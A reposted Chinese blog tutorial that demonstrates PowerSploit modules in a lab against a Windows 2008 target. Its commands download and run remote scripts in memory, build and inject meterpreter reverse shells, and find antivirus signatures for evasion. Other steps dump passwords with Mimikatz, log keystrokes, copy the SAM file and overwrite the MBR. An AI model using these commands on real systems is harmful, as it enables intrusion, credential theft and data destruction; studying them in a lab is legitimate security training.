一、PowerSploit簡介
PowerSploit是GitHub上面的一個安全專案,上面有很多powershell攻擊腳本,它們主要被用來滲透中的資訊偵察、權限提升、權限維持,
Powershell的優點:
1.代碼運行在記憶體中可以不去接觸磁盤
2.從另一個系統中下載代碼并執行
3.很多安全產品并不能監測到powershell的活動
4.cmd.exe通常被阻止運行,但是powershell不會
二、實驗環境
Win7 搭建powersploit站點 ip:10.10.10.187
Win 2008(靶機) 遠程加載位于win7的powersploit上的腳本 ip:10.10.10.183
Kali powersploit部分腳本可能需要kali msf的配合 ip:10.10.10.128
三、搭建站點
1.首先在win7搭建簡易可下載powersploit腳本的服務器,本例用python的web功能搭建一個站點,也可以用IIS以及apache等來搭建,
Python -m http.server 80 #注意是python3.7的命令,不同版本可能開啟web服務的命令可能不同,

2.在靶機(win 2008)上測驗

四、powershell腳本分類以及功能
一、AntivirusBypass(繞過殺毒)
Find-AVSignature 發現殺軟的簽名
二、CodeExecution(代碼執行)
1. Invoke-DllInjection.ps1 DLL注入腳本 注意dll架構要與目標行程相符,同時要具備相應的權限
2. Invoke-ReflectivePEInjection.ps1 反射型注入 將Windows PE檔案(DLL / EXE)反射加載到powershell行程中,或反射地將DLL注入遠程行程
3. Invoke-Shellcode.ps1 將shellcode插入您選擇的行程ID或本地PowerShell中
4. Invoke-WmiCommand.ps1 在目標主機使用wmi執行命令
三、Exfiltration(資訊收集) #這個檔案夾主要是收集目標主機上的資訊
1. Out-Minidump.ps1 生成一個行程的全記憶體小資料庫
2. Get-VaultCredential.ps1 顯示Windows徽標憑據物件,包括明文Web憑據
3. Get-Keystrokes.ps1 記錄按鍵,時間和活動視窗
4. Get-GPPPassword.ps1 檢索通過組策略首選項推送的帳戶的明文密碼和其他資訊
5. Get-GPPAutologon.ps1 如果通過組策略首選項推送,則從registry.xml檢索自動登錄用戶名和密碼
6. Get-TimedScreenshot.ps1 這是一個以定期間隔拍攝螢屏并將其保存到檔案夾的功能
7. Invoke-Mimikatz.ps1 查看主機密碼
8. Invoke-NinjaCopy.ps1 通過讀取原始卷并決議NTFS結構,從NTFS磁區卷復制檔案
9. Invoke-CredentialInjection.ps1 使用明文憑據創建登錄,而不會觸發可疑事件ID 4648(顯式憑證登錄)
10. Invoke-TokenManipulation.ps1 列出可用的登錄令牌,與其他用戶創建行程登錄令牌,并模仿當前執行緒中的登錄令牌
11. Get-MicrophoneAudio.ps1 通過麥克風記錄聲音
12. VolumeShadowCopyTools.ps1
四、Recon(資訊偵察) #這個檔案夾主要是以目標主機為跳板進行內網主機偵察
1. Invoke-Portscan.ps1 埠掃描
2. Get-HttpStatus.ps1 回傳指定路徑的HTTP狀態代碼和完整URL,并附帶字典檔案
3. Invoke-ReverseDnsLookup.ps1 掃描DNS PTR記錄的IP地址范圍
4. PowerView.ps1 PowerView是一系列執行網路和Windows域列舉和利用的功能
5.Get-ComputerDetails 獲得登錄資訊
五、ScriptModification(腳本修改)
1. Out-EncodedCommand.ps1 將腳本或代碼塊編碼,并為PowerShell有效載荷腳本生成命令列輸出
2. Out-EncryptedScript.ps1 加密文本檔案/腳本
3. Out-CompressedDll.ps1 壓縮,Base-64編碼,并輸出生成的代碼,以將受管理的DLL加載到記憶體中
4. Remove-Comments.ps1 從腳本中洗掉注釋和多余的空白
六、Persistence(權限維持)
1. New-UserPersistenceOption 為添加持久性函式配置用戶級持久性選項,
2. New-ElevatedPersistenceOption 為添加持久性函式配置提升的持久性選項,
3. Add-Persistence 向腳本添加持久性功能
4. Install-SSP 安裝安全支持提供程式(ssp)dll
5. Get-SecurityPackages
七、Privesc(提權)
PowerUP: 共同特權升級檢查的資訊交換所,以及一些武器化載體
Get-System
八、Mayhem
Set-MasterBootRecord 選擇的訊息覆寫主引導記錄
Set-CriticalProcess 退出powershell時使系統藍屏
五、開始實驗
一、AntivirusBypass(繞過殺毒)
Find-AVSignature 發現殺軟的簽名
1、先在靶機(windows 2008)上遠程加載位于win7的Invoke-Shellcode.ps1腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/AntivirusBypass/Find-AVSignature.ps1")

2、運行腳本,這里以之前的msf.exe反彈馬為例 注意:本例把偏移量劃分的不太合適,有興趣自己慢慢劃分,檔案的偏移量范圍本例使用winhex查看的,
Find-AVSignature -StartByte 0 -EndByte 220000 -Interval 110000 -Path C:\Users\Administrator.WIN2008\Desktop\msf.exe -OutPath C:\Users\Administrator.WIN2008\Desktop\test\run2 -Verbose

3、 上圖生成3個檔案,然后把每個檔案用在線病毒測驗網站測驗一下(這里推薦使用http://www.virscan.org/),看看病毒在哪個檔案,然后再把有病毒的那個檔案繼續劃分偏移量范圍生成新的檔案,然后繼續再病毒測驗網站測驗,直到最終確定病毒的特征碼范圍,


二、CodeExecution(代碼執行)
Shellcode注入:
1、先在靶機(windows 2008)上遠程加載位于win7的Invoke-Shellcode.ps1腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")
get-help Invoke-Shellcode

2、在kali中使用msfvenom生成一個powershell反彈馬
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.10.128 lport=4444 -f powershell -o /var/www/test

3、在msf中設定監聽(windows/x64/meterpreter/reverse_https模塊進行反彈)并開啟監聽
use exploit/multi/handler #使用監聽模塊
set payload windows/x64/meterpreter/reverse_https #設定一個payload


4、把剛才使用msfvenom生成的powershell腳本復制到靶機(windows 2008)
5、靶機(windows 2008)加載shellcode #注意這里的shellcode為在kali用msfvenom生成的一個powershell腳本,打開內容,取變數$buf的值
Invoke-Shellcode -Shellcode @() #可以查看幫助檔案,其中有一個例子這個的用法


6、kali中運行監聽之后就可以看到得到靶機(windows 2008)的一個meterpreter的shell,說明成功控制靶機

7、也可以把使用Invoke-Shellcode腳本進行行程注入到別的行程(這里以explorer的3508為例)

DLL:
首先我們需要知道我們在啟動一個程式的時候并沒有把所有的需要用到的資料或者檔案運行起來,而是只運行了關鍵部分,那么當我們需要呼叫到某一功能時再通過DLL來動態鏈接,不需要時就可以卸載,使得程式不顯得臃腫,
DLL注入就是將代碼插入/注入到正在運行的行程中的程序,我們注入的代碼是元件(DLL)的形式,為什么可以做到這一點?因為DLL是在運行時根據需要來進行加載
注意:對某些行程的注入需要一定的權限
Dll注入:
可以利用powersploit將dll檔案注入到當前行程中,但是dll檔案必須在目標主機上,
1.先在靶機(windows 2008)上遠程加載位于win7的Invoke-DllInjection.ps1腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1")

2.kali利用msfvenom生成一個dll反彈馬
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.128 lport=4444 -f dll -o /var/www/msf.dll

3.在msf中設定監聽(windows/x64/meterpreter/reverse_tcp模塊進行反彈)并開啟監聽
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp

4.把剛才生成的msf.dll檔案拷貝到靶機(windows 2008),然后在windows 2008上運行powershll腳本
Invoke-DllInjection -ProcessID 464 -Dll C:\Users\Administrator.WIN2008\Desktop\msf.dll

5.kali msf中運行監聽,就可以看到windows 2008反彈過來一個session

6.也可以開啟一個隱藏行程并注入dll

Invoke-ReflectivePEInjection 反射型PE注入
1、先在靶機(windows 2008)上遠程加載位于win7 Invoke-ReflectivePEInjection腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-ReflectivePEInjection.ps1")

2、kali中利用msfvenom生成一個exe反彈馬并對木馬進行多次編碼
msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 lhost=10.10.10.128 lport=4444 -f exe -o /var/www/msf.exe
3、在kali msf中設定監聽(windows/x64/meterpreter_reverse_tcp)并開啟監聽

4、把在kali中生成的exe木馬復制到靶機,在靶機(windows 2008)執行腳本
$PEBytes = [IO.File]::ReadAllBytes('C:\Users\Administrator.WIN2008\Desktop\msf.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

5、這時在kali端就能看到一個windows 2008反彈過來的session

三、Recon(資訊偵察)
Invoke-Portscan 埠掃描
1、先在靶機(windows 2008)上遠程加載位于win7 Invoke-Portscan.ps1腳本

2、開始埠掃描,這里以掃描一個ip字典為例,別的引數,可以查看幫助檔案

Invoke-ReverseDnsLookup 反向DNS查詢
1、 先在靶機(windows 2008)上遠程加載位于win7 Invoke-ReverseDnsLookup腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Invoke-ReverseDnsLookup.ps1")

1、 運行腳本查找特定的ip的主機名,下圖可以看到查找ip對應的主機名
Invoke-ReverseDnsLookup "10.10.10.128,10.10.10.183,10.10.10.187" | fl IP,HostName

Get-HttpStatus 網站目錄檢測
1、先在靶機(windows 2008)上遠程加載位于win7 Get-HttpStatus腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-HttpStatus.ps1")

2、 自己創建一個字典,運行腳本,下圖可以看到status狀態是ok說明目標存在那個網站目錄,

Get-ComputerDetails 獲得主機登錄資訊
1、 先在靶機(windows 2008)上遠程加載位于win7 Get-ComputerDetails腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-ComputerDetails.ps1")

2、 運行腳本Get-ComputerDetails,看到如下效果,有報錯,不知道什么原因,難道powerspolit大神例外處理沒考慮完全?

四、Exfiltration(資訊收集) #這個檔案夾主要是收集目標主機上的資訊
Invoke-Mimikatz 查看主機密碼(需要管理員權限)
1、先在靶機(windows 2008)上遠程加載位于win7 Invoke-Mimikatz腳本,并運行腳本查看密碼
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1")

Get-Keystrokes 鍵盤記錄(詳細的滑鼠鍵盤記錄)
1、先在靶機(windows 2008)上遠程加載位于win7 Get-Keystrokes腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1")

2、運行Get-Keystrokes,并把記錄結果保存到一個檔案

Invoke-NinjaCopy 超級復制(需要管理員權限,可以復制受保護的運行中的系統檔案)
1、先在靶機(windows 2008)上遠程加載位于win7 Invoke-NinjaCopy腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-NinjaCopy.ps1")
get-help Invoke-NinjaCopy

2、運行腳本,把SAM檔案復制一份到別處,下圖可以看到成功復制一份SAM檔案,注意普通復制不能復制系統限制的檔案,
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\Users\Administrator\Desktop\SAM"

3、用普通復制測驗一下,看看能否復制SAM檔案,下圖可以看到普通復制無法復制SAM,因為系統對SAM檔案進行保護,只要行程一開啟(系統開機自動運行關于SAM檔案的行程并且無法停止掉行程),別的程式或者行程就無法訪問SAM檔案,

Get-TimedScreenshot 螢屏記錄
1.先在靶機(windows 2008)上遠程加載位于win7 Get-TimedScreenshot腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-TimedScreenshot.ps1")

2.運行腳本,在test檔案夾中可以看到抓取螢屏的圖片
Get-TimedScreenshot -Path c:\test\ -Interval 10 -EndTime 23:20

3.Get-MicrophoneAudio 通過麥克風記錄聲音,與Get-TimedScreenshot(螢屏記錄)方法一樣,這里不再測驗
Invoke-CredentialInjection
1.先在靶機(windows 2008)上遠程加載位于win7 Invoke-TokenManipulation腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-TokenManipulation.ps1")

2.Invoke-TokenManipulation -Enumerate 列舉唯一 可用的令牌 別的例子自己查看幫助

五、ScriptModification 腳本修改
Out-CompressedDll 將dll壓縮并base64編碼
1.先在靶機(windows 2008)上遠程加載位于win7 Out-CompressedDll腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/Out-CompressedDll.ps1")

2.運行腳本 Out-CompressedDll -FilePath C:\Users\Administrator.WIN2008\Desktop\msf.dll

Out-EncodedCommand 將腳本或代碼塊編碼
1.先在靶機(windows 2008)上遠程加載位于win7 Out-EncodedCommand腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncodedCommand .ps1")

2. 腳本塊編碼

3.腳本編碼

Out-EncryptedScript 腳本加密
1.先在靶機(windows 2008)上遠程加載位于win7 Out-EncryptedScript腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncryptedScript .ps1")

2.給腳本加密

Remove-Comments 洗掉注釋和不必要的空白符
1.先在靶機(windows 2008)上遠程加載位于win7 Remove-Comments腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Remove-Comments .ps1")

2.運行腳本,洗掉代碼塊中的空白和注釋以及腳本中的空白和注釋

六、Mayhem
1.首先查看Mayhem幫助說明檔案,可以看到說明檔案使用Mayhem模塊需要先將Mayhem放到C:\Windows\System32\WindowsPowerShell\v1.0\Modules下,然后需要匯入模塊

2.將Mayhem放到相應的位置之后,便開始匯入模塊,以及查看命令幫助
Import-Module Mayhem
Get-Command -Module Mayhem

3.開始使用命令
3.1Set-CriticalProcess 退出powershell時使系統藍屏

3.2退出powershell測驗是否藍屏,下圖可以看到藍屏了

3.3 Set-MasterBootRecord 覆寫主引導記錄,本次實驗并沒有成功

原文地址:https://www.cnblogs.com/yuzly/p/10505365.html
__EOF__
作者: 隨風kali 本文鏈接: https://www.cnblogs.com/sfsec/p/15236627.html
著作權宣告: 本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!
聲援博主: 如果您覺得文章對您有幫助,可以點擊文章右下角【推薦】一下,您的鼓勵是博主的最大動力!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/298212.html
標籤:其他
上一篇:powersploit使用方法
